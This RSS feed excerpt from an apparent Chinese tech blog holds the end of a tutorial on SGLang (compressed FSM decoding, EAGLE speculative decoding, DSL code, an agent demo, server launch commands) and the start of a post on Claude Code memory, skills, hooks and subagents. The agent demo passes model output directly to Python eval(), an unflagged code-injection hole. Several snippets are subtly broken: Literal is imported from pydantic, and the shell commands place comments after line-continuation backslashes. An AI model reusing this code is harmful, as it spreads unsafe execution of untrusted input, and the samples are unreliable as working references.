&lt;p&gt;S0→S1→S2→S3→S4→S5→S6→S7 全部是唯一转移，无分叉，Compressed FSM 直接压缩成：S0 —— 完整字符串&lt;code&gt;{&quot;name&quot;:&lt;/code&gt; ——→ S8→ 完整字符串&lt;code&gt;}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;**跳跃前向解码：**走到压缩路径起点时，&lt;strong&gt;不用逐 Token 调用模型&lt;/strong&gt;，引擎直接把整段固定字符串一次性填充到输出里，直接跳到分叉点 S8。只有到达分叉点（有多种可选内容），才真正执行一次模型前向、做 Token 采样。原来 8 次模型计算 → 现在 0 次，直接跳过。&lt;/p&gt;
&lt;p&gt;拿一个实际的例子走一遍：模型必须输出 &lt;code&gt;{&quot;tool&quot;:&quot;search&quot;,&quot;args&quot;:{&quot;keyword&quot;:&quot;xxx&quot;}}&lt;/code&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;编译阶段（只执行一次，缓存起来反复用）：我们需要写一段 Pydantic 类描述 JSON 格式： &lt;code&gt;Pydantic Schema&lt;/code&gt;，SGLang 后台自动做三件事：1） 自动转正则文法，再生成一套最细粒度的传统 FSM；2） 自动扫描所有连续单转移链，全部压缩为长边；3）保存压缩后的 FSM到全局缓存，相同 Schema 复用不用重复编译。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Prefill 阶段：模型处理完 System Prompt、用户问题后，引擎给当前这条对话绑定&lt;strong&gt;压缩 FSM 的起点状态&lt;/strong&gt;。此时还没开始生成 JSON，只是把规则挂载到这条请求上。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Decode 循环阶段：分两种情况处理。&lt;/p&gt;
&lt;p&gt;情况 A：当前处于压缩单路径（无选择） 引擎直接把整条固定字符串追加输出，FSM 状态一次性跳到路径末尾分叉点；&lt;strong&gt;不调用 Transformer 模型，无 GPU 算力消耗&lt;/strong&gt;。例：走到&lt;code&gt;{&quot;tool&quot;:&lt;/code&gt;，直接补全整段固定语法，不用推理。&lt;/p&gt;
&lt;p&gt;情况 B：当前到达分叉节点（多选择） 比如&lt;code&gt;&quot;args&quot;:&lt;/code&gt;后面可以填字符串 / 数字数组，存在多条合法边：&lt;/p&gt;
&lt;p&gt;1）根据压缩 FSM 算出当前所有合法 Token 集合；&lt;/p&gt;
&lt;p&gt;2）GPU 算子批量把非法 Token logit 设为负无穷；&lt;/p&gt;
&lt;p&gt;3）仅在合法候选里采样 1 个 Token；&lt;/p&gt;
&lt;p&gt;4）根据采样结果，跳转到下一个 FSM 状态，继续循环。&lt;/p&gt;
&lt;p&gt;所有输出严格贴合 FSM 规则，不存在半残缺 JSON，业务不需要写&lt;code&gt;try-except&lt;/code&gt;、字符串清洗、重试逻辑。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;和 RadixAttention 的协同：RadixAttention 复用 System 前缀，削减 Prefill 算力；Compressed FSM 跳过 JSON 固定语法段，削减 Decode 循环；两者叠加，Agent 端到端延迟、GPU 显存、云端 API token 成本三重优化。&lt;/p&gt;
&lt;h3&gt;EAGLE 投机解码&lt;/h3&gt;
&lt;p&gt;前面可以看到标准的自回归 decode 流程每一轮只能生成 1 个 token，完整一轮 GPU 前向只能产出 1 个字。GPU 算力大量浪费，TPOT（单 token 生成延迟）高。&lt;/p&gt;
&lt;p&gt;投机解码核心思路：&lt;strong&gt;先用轻量草稿单元一次性预生成多候选 token，再交给主大模型单次并行批量校验，一次性接受连续多个合法 token，减少主模型前向总次数&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;投机解码基础逻辑：任何投机解码的方案都是“猜 + 验”。主大模型生成较准，但干活慢；草稿模块干活很快，但是生成会出错。所以投机解码的步骤固定为两步：1.草稿阶段  草稿模块快速一口气猜接下来 k 个词，几乎不耗算力。2. 验证阶段  主大模型一次性把草稿模块猜的所有词全部审阅一遍，并行校验；从第一个词依次核对，全对就全部收下；遇到第一个猜错的，只保留前面正确的，错误及后面全部扔掉，重新生成；校验用严格拒绝采样算法，最终输出文本和纯大模型生成完全一模一样，不会降低回答质量，无损加速。&lt;/p&gt;
&lt;p&gt;vLLM 采用的投机解码方式为 Medusa：不新增独立小模型，仅外挂多个独立预测头读取主模型&lt;strong&gt;最后一层输出logit&lt;/strong&gt;，预测后续 token。这种方式读取的信息少，草稿准确率低，接受率仅 50%~65%，加速上限 只有1.8~2.5 倍。&lt;/p&gt;
&lt;p&gt;SGLang 主推 EAGLE-3：1. 不用 token 预测，预测中间特征 &lt;code&gt;hidden state&lt;/code&gt;。Transformer 每一层都会输出高维特征向量（hidden state），里面包含完整上下文语义信息；2. 独立极轻量草稿网络。不是外挂几个 MLP 头，而是一套单独 1~2 层的微型 Transformer 草稿模型（显存占用只占主模型 10%~15%；），基于主模型中间特征，递归生成多条候选 token 树（Tree Draft），校验时并行一次性全部核对。容错更高，平均单次能收下更多 token。&lt;/p&gt;
&lt;p&gt;完整走一遍 EAGLE 单轮流程：当前上下文已经处理完毕，准备继续生成文本&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;主模型输出多层中间特征。主模型刚算出当前位置全部层 &lt;code&gt;hidden state&lt;/code&gt;，不用丢弃，直接喂给 EAGLE 草稿网络。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;EAGLE 草稿网络快速生成候选 token 树。轻量草稿网络基于特征递归预测，一次性生成多条候选序列，比如树深度 4，多条 4 词草稿。这一步 GPU 开销极小，速度极快。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;主模型一次性并行校验整棵候选树。把原始上下文 + 树里所有候选 token 拼成长序列，&lt;strong&gt;只运行 1 次主模型前向&lt;/strong&gt;。依靠特制 Tree Attention 掩码，并行算出每一个候选位置真实单词概率。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;逐位置比对，批量接受正确 token。从树根第一个词开始，用&lt;strong&gt;拒绝采样规则&lt;/strong&gt;对比草稿预测和主模型真实概率：匹配达标：收下该 token；一旦出现不匹配：停止，丢弃该位置及后面所有草稿。（比如草稿树最优路径是&lt;code&gt;今天天气&lt;/code&gt;，主模型校验后前 3 个完全匹配，第 4 个猜错；本轮直接一次性收下&lt;code&gt;今天天&lt;/code&gt;，只消耗 1 次大模型计算，原本需要 3 次。）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;更新 KV 缓存，进入下一轮。把收下的 token 追加到上下文，更新 &lt;code&gt;Radix KV&lt;/code&gt; 缓存，再次循环 EAGLE 流程直到 EOS 结束。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;适用场景：长对话、长 CoT 推理、工具调用 JSON 输出（大量连续可变文本）；批量 RAG 抽取、批量结构化生成；7B/13B/34B 中大型模型，显存充足；吞吐优先业务，能接受少量显存占用。超短生成和极小模型就不要用EAGLE了，草稿网络带来的开销得不偿失。&lt;/p&gt;
&lt;p&gt;和 RadixAttention/ Compressed FSM的协同：Radix 负责 Prefill 公共前缀复用，FSM 负责固定 JSON 片段跳过，EAGLE 负责 Decode 可变文本批量多 token 并行生成，三者配合是 SGLang 做 Agent 的完整加速栈。&lt;/p&gt;
&lt;p&gt;（简单补充一下拒绝采用规则：对比草稿、主模型对同一个词的预测概率，用 0~1 随机数按比例决定留不留；一旦某个词被拒，后面所有草稿全部作废，从主模型修正分布重采样，全程保证生成文本和纯大模型输出完全一致，是投机解码无损加速的根基。）&lt;/p&gt;
&lt;h3&gt;DSL基础语法&lt;/h3&gt;
&lt;p&gt;LLM初始化&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import sgl
from pydantic import BaseModel

# 1. 连本地SGL服务（GPU推理，主流）
sgl.set_default_backend(sgl.RuntimeEndpoint(&quot;http://127.0.0.1:30000&quot;))

# 2. 直连OpenAI云端API（无本地模型）
# sgl.set_default_backend(sgl.OpenAI(api_key=&quot;xxx&quot;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;定义 Agent 函数核心装饰器 &lt;code&gt;@sgl.function&lt;/code&gt;：所有生成逻辑包在装饰器下，支持变量插值、多轮生成、结构化约束&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@sgl.function
def agent_chat(user_input: str):
    # 直接写prompt文本，{变量}插值
    yield f&quot;&quot;&quot;你是工具智能体，只能输出JSON工具调用
用户问题：{user_input}
&quot;&quot;&quot;
    # 生成输出，存到key=&quot;tool_call&quot;
    res = sgl.gen(&quot;tool_call&quot;, max_tokens=256)
    return res
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;sgl.gen 核心参数（结构化 Agent 常用）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 定义约束Schema
class ToolSchema(BaseModel):
    tool: str
    keyword: str

# 带JSON格式强制约束（自动触发Compressed FSM）
sgl.gen(
    &quot;output_key&quot;,
    max_tokens=200,
    temperature=0,
    schema=ToolSchema  # 直接传Pydantic类
)

# 正则约束替代schema
# sgl.gen(&quot;res&quot;, regex=r&quot;\{.*\}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;多分支并行 fork /join：同时跑多条推理分支，复用 Radix 客户端缓存，HTTP 接口做不到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@sgl.function
def multi_search(q):
    yield f&quot;问题：{q}&quot;
    # 并行两条工具调用分支
    with sgl.fork():
        yield sgl.gen(&quot;search1&quot;, schema=ToolSchema)
    with sgl.fork():
        yield sgl.gen(&quot;search2&quot;, schema=ToolSchema)
    # join 收集所有分支结果
    results = sgl.join()
    return results
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;读取生成结果、调用执行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 调用函数
output = agent_chat(&quot;成都天气&quot;)
# 取出生成的json字符串
json_str = output[&quot;tool_call&quot;]

# 批量批量请求（自动复用Radix缓存）
prompts = [agent_chat(&quot;问题1&quot;), agent_chat(&quot;问题2&quot;)]
batch_res = sgl.run_batch(prompts)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;变量复用、多轮对话追加&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@sgl.function
def round_chat(history, new_q):
    yield f&quot;历史对话：{history}&quot;
    yield f&quot;用户新问题：{new_q}&quot;
    yield sgl.gen(&quot;reply&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最小 Agent Demo&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import sgl
import json
from pydantic import BaseModel, Literal
from typing import Optional

# 初始化LLM
sgl.set_default_backend(sgl.RuntimeEndpoint(&quot;http://127.0.0.1:30000&quot;))

# 工具输出结构（Compressed FSM）
class SingleTool(BaseModel):
    tool: Literal[&quot;search&quot;, &quot;calculate&quot;]
    keyword: str

# 支持一次返回多个工具调用数组
class MultiToolCall(BaseModel):
    calls: list[SingleTool]
    finish: Literal[&quot;yes&quot;, &quot;no&quot;]  # no=还要继续调用工具 yes=信息足够，直接回答

# 简单本地工具实现
def search(keyword: str) -&amp;gt; str:
    if &quot;成都天气&quot; in keyword:
        return &quot;成都今日气温26℃，湿度65%，多云&quot;
    elif &quot;北京天气&quot; in keyword:
        return &quot;北京今日气温22℃，小雨&quot;
    return f&quot;搜索结果：{keyword}&quot;

def calculate(expr: str) -&amp;gt; str:
    try:
        val = eval(expr)
        return f&quot;计算结果 {expr} = {val}&quot;
    except Exception as e:
        return f&quot;计算失败：{str(e)}&quot;

# 工具分发执行
def execute_tools(call_list: list[SingleTool]) -&amp;gt; list[str]:
    outputs = []
    for item in call_list:
        if item.tool == &quot;search&quot;:
            outputs.append(search(item.keyword))
        elif item.tool == &quot;calculate&quot;:
            outputs.append(calculate(item.keyword))
    return outputs

# DSL函数：生成工具调用/判断是否结束
@sgl.function
def agent_plan(history_context: str, user_question: str):
    prompt = &quot;&quot;&quot;
你拥有两个工具：
1. search：查询城市天气、百科资讯
2. calculate：数学表达式四则运算

规则：
1. 需要查资料/计算就输出calls数组，finish填no；
2. 信息充足不需要工具时，finish填yes，calls留空；
3. 可以一次输出多个工具并行调用；
只输出JSON，禁止额外文字。

历史上下文（包含过往工具调用与返回结果）：
{history_context}
用户当前问题：{user_question}
&quot;&quot;&quot;
    yield prompt.format(history_context=history_context, user_question=user_question)
    res = sgl.gen(&quot;plan_out&quot;, max_tokens=300, temperature=0, schema=MultiToolCall)
    return res

# DSL函数：最终整理自然语言回答
@sgl.function
def gen_final_answer(full_context: str, user_question: str):
    prompt = &quot;&quot;&quot;
基于下面完整上下文（用户问题、所有工具调用与工具返回数据），用通顺中文完整回答用户，不要调用工具、不要输出JSON。
完整上下文：
{full_context}
用户原始提问：{user_question}
&quot;&quot;&quot;
    yield prompt.format(full_context=full_context, user_question=user_question)
    ans = sgl.gen(&quot;answer&quot;, max_tokens=400)
    return ans

if __name__ == &quot;__main__&quot;:
    user_q = &quot;北京天气怎么样，123*456等于多少？顺便说下成都湿度&quot;
    history = &quot;&quot;
    max_loop = 5  # 防止无限循环，限制最多5轮工具调用

    # ===================== 多轮工具循环核心逻辑 =====================
    for loop in range(max_loop):
        print(f&quot;\n===== 第{loop+1}轮工具规划 =====&quot;)
        # 模型生成工具计划
        plan_res = agent_plan(history, user_q)
        plan_data = json.loads(plan_res[&quot;plan_out&quot;])
        finish_flag = plan_data[&quot;finish&quot;]
        tool_calls = plan_data[&quot;calls&quot;]

        print(f&quot;模型输出工具调用：{plan_data}&quot;)

        # 分支1：信息足够，停止工具调用，生成最终回答
        if finish_flag == &quot;yes&quot;:
            print(&quot;模型判断无需更多工具，生成最终答案&quot;)
            final = gen_final_answer(history, user_q)
            print(&quot;\n【最终回答】&quot;, final[&quot;answer&quot;])
            break

        # 分支2：存在多个工具，批量执行
        tool_returns = execute_tools(tool_calls)
        print(f&quot;工具执行结果列表：{tool_returns}&quot;)

        # 把本轮工具调用+结果追加到上下文，下一轮模型可见
        round_log = f&quot;\n【第{loop+1}轮工具调用记录】\n调用列表：{tool_calls}\n工具返回：{tool_returns}&quot;
        history += round_log
    else:
        # 循环达到上限强制终止
        print(&quot;\n达到最大工具调用轮次限制，强制生成回答&quot;)
        final = gen_final_answer(history, user_q)
        print(&quot;【最终回答】&quot;, final[&quot;answer&quot;])
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;SGLang部署&lt;/h3&gt;
&lt;p&gt;安装SGLang:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 比较稳定的一个版本
pip install &quot;sglang[all]==0.5.10&quot;
pip show sglang
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;下载模型：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip install modelscope
modelscope download --model model_name --local_dir local_path
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;部署 OpenAI 兼容 API 服务：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python -m sglang.launch_server /root/models/Qwen3-8B \
--api-key abc123 \                  # 设置接口鉴权密钥
--served-model-name Qwen/Qwen3-8B \ # API调用时使用的模型名称
--max-model-len 4096 \              # 最大处理长度（输入prompt + 生成内容token总数）
--port 30000                        # 服务监听端口
--speculative-algorithm EAGLE3 \                    # 开启EAGLE投机解码总开关
--speculative-draft-model-path lmsys/SGLang-EAGLE3-Qwen3-8B \ # 配套草稿模型权重路径
--speculative-num-draft-tokens 4                    # 草稿模型单次预生成token数量，推荐2~8

这个是开启了EAGLE投机解码的，不想开直接把最后三行删了就行了，RadixAttention是默认开启的，Compressed FSM也无需启动参数，调用接口时在extra_body传入json_schema自动生效。

## 多卡部署（以两卡为例）
CUDA_VISIBLE_DEVICES=0,1 python -m sglang.launch_server local_path \
--api-key abc123 \                      # 设置接口鉴权key
--served-model-name Qwen/Qwen3-8B \     # API调用时使用的模型名
--max-model-len 4096 \                  # 上下文最大总token长度（输入+输出）
--tp-size 2 \                           # 张量并行卡数，和指定GPU数量一致
--port 30000
--speculative-algorithm EAGLE3 \                    # 开启EAGLE投机解码总开关
--speculative-draft-model-path lmsys/SGLang-EAGLE3-Qwen3-8B \ # 配套草稿模型权重路径
--speculative-num-draft-tokens 4                    # 草稿模型单次预生成token数量，推荐2~8


常用附加参数（按需拼接）
--host 0.0.0.0 \                    # 允许外部机器访问服务
--gpu-memory-utilization 0.85 \     # GPU显存占用上限
--max-running-requests 32 \          # 最大并发请求数
--log-level info \                  # 日志输出级别
--enable-metrics \                 # 开启监控指标采集
--stream-interval 1 \              # 流式推送token间隔，单位token，1=逐token实时返回
--stream-output                    # 开启分片流式输出底层支持（默认已启用，显式写更稳妥）
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Claude Code的一些核心用法</title><link>https://whyulooksad.github.io/posts/claude-code-%E6%A0%B8%E5%BF%83%E7%94%A8%E6%B3%95/</link><guid isPermaLink="true">https://whyulooksad.github.io/posts/claude-code-%E6%A0%B8%E5%BF%83%E7%94%A8%E6%B3%95/</guid><description>在Boss上投了一个岗位，是以claude code为核心工具搭建自动化工具链的，所以今天好好研究一下</description><pubDate>Sat, 20 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;在Boss上投了一个岗位，是以claude code为核心工具搭建自动化工具链的，所以今天好好研究一下&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1. Memory&lt;/h2&gt;
&lt;p&gt;Claude Code 每次启动都会自动加载 CLAUDE.md。两个位置：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;~/.claude/CLAUDE.md&lt;/code&gt; — 用户级，对你所有项目生效&lt;/li&gt;
&lt;li&gt;&lt;code&gt;./CLAUDE.md&lt;/code&gt; — 项目级，只对当前项目生效，通常随项目一起提交到 Git&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;两者都会被加载，项目级在用户级之后加载，内容更具体，冲突时以项目级为准。&lt;/p&gt;
&lt;p&gt;在 Claude Code 输入框里输 &lt;code&gt;/init&lt;/code&gt;，它会扫描当前项目，自动生成或更新CLAUDE.md 。之后用 &lt;code&gt;/memory&lt;/code&gt; 可以查看当前加载了哪些记忆并进行修改。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. Plan Mode&lt;/h2&gt;
&lt;p&gt;普通模式下说&quot;修 bug&quot;，Claude Code 可能边查边改。Plan Mode 换了一种方式：先只读代码、分析问题、给出方案，等用户批准了再动手。&lt;/p&gt;
&lt;p&gt;输入 &lt;code&gt;/plan&lt;/code&gt; 进入。&lt;/p&gt;
&lt;p&gt;即使不在 Plan Mode 下，也可以在 prompt 末尾加一句 &quot;先读代码给方案，不要修改文件&quot;，效果一样的。核心都是让 Claude 知道要先商量好再改。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. Skills&lt;/h2&gt;
&lt;p&gt;用一段时间后你会发现，很多操作每次都要粘贴同样一段长提示词。Skill 就是把这些流程封装成一个可复用的 &lt;code&gt;/命令&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;项目级 Skill 放在 &lt;code&gt;.claude/skills/&amp;lt;name&amp;gt;/SKILL.md&lt;/code&gt;，用户级放在 &lt;code&gt;~/.claude/skills/&amp;lt;name&amp;gt;/SKILL.md&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;创建 Skill 后，输入 &lt;code&gt;/skill-name&lt;/code&gt; 就能调用。&lt;/p&gt;
&lt;p&gt;Skill 是一套流程说明——规定&quot;审查 diff 时查哪些东西、输出什么格式&quot;。subAgent 是一个专门执行者——&quot;负责代码审查的专家，只允许读文件和搜索，不允许写代码&quot;。两者的关系是：可以让 subAgent 按 Skill 规定的流程执行。Skill 是 procedure，subAgent 是 executor。&lt;/p&gt;
&lt;p&gt;直接在 Claude Code 里说 &quot;请帮我创建一个项目级 Skill，名字叫 review-diff，放在 .claude/skills/review-diff/SKILL.md。先展示内容，我确认后再创建&quot; 就可以。当然，也可以自己写或者网上下载别人的Skill。&lt;/p&gt;
&lt;p&gt;具体的我在另一篇博客里详细写过：&lt;a href=&quot;https://whyulooksad.github.io/posts/agent%E4%B8%89%E4%BB%B6%E5%A5%97/&quot;&gt;Agent 三件套&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;4. Hook&lt;/h2&gt;
&lt;p&gt;Skills是AI选择去调用。Hook 是在某个时机到了之后自动触发一段检查或命令。&lt;/p&gt;
&lt;h3&gt;4.1 结构&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;event&lt;/strong&gt; — 什么时候触发&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;matcher&lt;/strong&gt; — 匹配什么工具或场景（正则表达式）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;handler&lt;/strong&gt; — 匹配后执行什么（shell 命令 / LLM prompt / agent）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;比如下面这个配置写进 &lt;code&gt;.claude/settings.json&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;hooks&quot;: {
    &quot;PostToolUse&quot;: [
      {
        &quot;matcher&quot;: &quot;Edit|Write&quot;,
        &quot;hooks&quot;: [
          {
            &quot;type&quot;: &quot;command&quot;,
            &quot;command&quot;: &quot;echo &apos;文件已修改，记得跑测试&apos;&quot;
          }
        ]
      }
    ]
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;PostToolUse（工具执行成功后触发）→ 匹配 Edit 或 Write（写文件时触发）→ 执行 shell 命令打印提醒。Claude 每次改完文件你都能看到这条提示。&lt;/p&gt;
&lt;h3&gt;4.2 常用事件&lt;/h3&gt;
&lt;p&gt;不需要全记，记住最常用的几个：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;事件&lt;/th&gt;
&lt;th&gt;触发时机&lt;/th&gt;
&lt;th&gt;适合做什么&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PreToolUse&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;工具调用前&lt;/td&gt;
&lt;td&gt;拦截危险命令、阻止修改敏感文件&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PostToolUse&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;工具调用成功后&lt;/td&gt;
&lt;td&gt;改完文件自动格式化、跑实验后自动读结果&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PostToolUseFailure&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;工具调用失败后&lt;/td&gt;
&lt;td&gt;记录失败日志&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Stop&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Claude 准备结束本轮回复时&lt;/td&gt;
&lt;td&gt;结束前再检查一次指标是否达标&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UserPromptSubmit&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;用户提交 prompt 时&lt;/td&gt;
&lt;td&gt;自动追加规则、记录输入&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SessionStart&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;会话开始时&lt;/td&gt;
&lt;td&gt;加载自定义环境&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PreCompact&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;上下文压缩前&lt;/td&gt;
&lt;td&gt;提醒保存关键信息&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Notification&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Claude 需要用户注意时&lt;/td&gt;
&lt;td&gt;发桌面通知&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SubagentStart&lt;/code&gt; / &lt;code&gt;SubagentStop&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;subAgent 启动/结束时&lt;/td&gt;
&lt;td&gt;记录 agent 活动&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;4.3 Handler 类型&lt;/h3&gt;
&lt;p&gt;handler 不只是跑 shell 命令，有三种：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;command&lt;/strong&gt; — 跑一个 shell 命令，上下文信息（session_id、tool_name、tool_input 等）以 JSON 通过 stdin 传入，你可以用 &lt;code&gt;jq&lt;/code&gt; 解析&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;prompt&lt;/strong&gt; — 调 LLM 评估条件，比如&quot;这个 bash 命令安全吗？&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;agent&lt;/strong&gt; — 调一个 agent 做验证，比如&quot;检查测试是否通过&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;大部分场景用 command 就够了。&lt;/p&gt;
&lt;h3&gt;4.4 实战：实验自动迭代&lt;/h3&gt;
&lt;p&gt;假设你有一个 ML 训练项目，每次跑 &lt;code&gt;python train.py&lt;/code&gt; 后结果写入 &lt;code&gt;results/metrics.json&lt;/code&gt;。你想要的效果是：Claude 每次跑完实验后自动读结果，如果 accuracy &amp;lt; 0.90 或 loss &amp;gt; 0.30，就不要继续做别的事，回头分析原因、改代码、重新实验，直到达标为止。&lt;/p&gt;
&lt;p&gt;这个效果不能只靠一个 Hook，需要组合：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第一步，创建检查脚本&lt;/strong&gt; &lt;code&gt;.claude/hooks/check_result.py&lt;/code&gt;，读取 &lt;code&gt;results/metrics.json&lt;/code&gt;，判断指标是否达标。不达标就输出 &quot;不要继续，请分析原因并修改代码&quot;，达标就输出 &quot;通过&quot;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第二步，写 Hook 配置&lt;/strong&gt;——让 PostToolUse 事件在 Bash 命令包含 &lt;code&gt;python&lt;/code&gt;、&lt;code&gt;train&lt;/code&gt; 等关键词时，自动跑检查脚本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;hooks&quot;: {
    &quot;PostToolUse&quot;: [
      {
        &quot;matcher&quot;: &quot;Bash&quot;,
        &quot;hooks&quot;: [
          {
            &quot;type&quot;: &quot;command&quot;,
            &quot;command&quot;: &quot;python .claude/hooks/check_result.py results/metrics.json&quot;,
            &quot;if&quot;: &quot;Bash(*python*)&quot;
          }
        ]
      }
    ],
    &quot;Stop&quot;: [
      {
        &quot;matcher&quot;: &quot;&quot;,
        &quot;hooks&quot;: [
          {
            &quot;type&quot;: &quot;command&quot;,
            &quot;command&quot;: &quot;python .claude/hooks/check_result.py results/metrics.json&quot;
          }
        ]
      }
    ]
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;PostToolUse 里加了 &lt;code&gt;&quot;if&quot;: &quot;Bash(*python*)&quot;&lt;/code&gt;，意思是只在 Bash 命令包含 &quot;python&quot; 时才触发检查，避免每次 ls、git 都跑一遍。Stop Hook 在 Claude 准备结束时再检查一次——如果不达标就提醒 Claude 不要结束，继续迭代。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第三步，开始实验时给 Claude 主规则&lt;/strong&gt;，规定它必须根据 Hook 的反馈行动：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;接下来做实验迭代。每次改代码或参数后必须跑 &lt;code&gt;python train.py&lt;/code&gt;，每次实验后必须读 &lt;code&gt;results/metrics.json&lt;/code&gt;。如果 Hook 提示不达标，不要写总结、不要进入下一阶段——先分析原因、改代码、重新实验。只有 accuracy &amp;gt;= 0.90 且 loss &amp;lt;= 0.30 时才允许进入下一阶段。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Hook 不等于完整自动化——它负责&quot;触发检查&quot;这一步。剩下的分析、修改、重新实验，需要主提示词和 Skill 配合。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;不推荐手动改 settings.json&lt;/strong&gt;—— JSON 嵌套层级容易出错。直接在 Claude Code 里说 &quot;请帮我创建 Hook 配置，先展示完整内容，我确认后再写&quot; 更稳。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;5. subAgent&lt;/h2&gt;
&lt;h3&gt;5.1 意义&lt;/h3&gt;
&lt;p&gt;如果主 Claude 自己排查一个复杂 bug，可能读十几个文件、跑好几条搜索、试多个假设，主对话上下文很快塞满。到后面你真正需要的是&quot;根因是什么、怎么改&quot;，但对话里塞的全是搜索记录。&lt;/p&gt;
&lt;p&gt;subAgent 的做法是：派一个专门的专家助手自己去查，最后只把结论带回来。主对话不被中间过程塞满。&lt;/p&gt;
&lt;h3&gt;5.2 创建&lt;/h3&gt;
&lt;p&gt;输入 &lt;code&gt;/agents&lt;/code&gt;，进入管理界面。默认停在 &lt;strong&gt;Running&lt;/strong&gt; 页——这里是看&quot;当前有没有 agent 在跑&quot;的，没有任务时就是空的。按&lt;strong&gt;右方向键 →&lt;/strong&gt; 切到 &lt;strong&gt;Library&lt;/strong&gt; 页创建。&lt;/p&gt;
&lt;p&gt;更推荐的方式是直接用对话创建，因为可以精确描述职责和权限：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;请帮我创建一个项目级 subAgent，名字叫 experiment-runner。放在 .claude/agents/experiment-runner.md。&lt;/p&gt;
&lt;p&gt;作用：负责实验迭代。每轮运行实验命令、读取 results/metrics.json、判断 accuracy/loss 是否达标，不达标就提出修改方向。&lt;/p&gt;
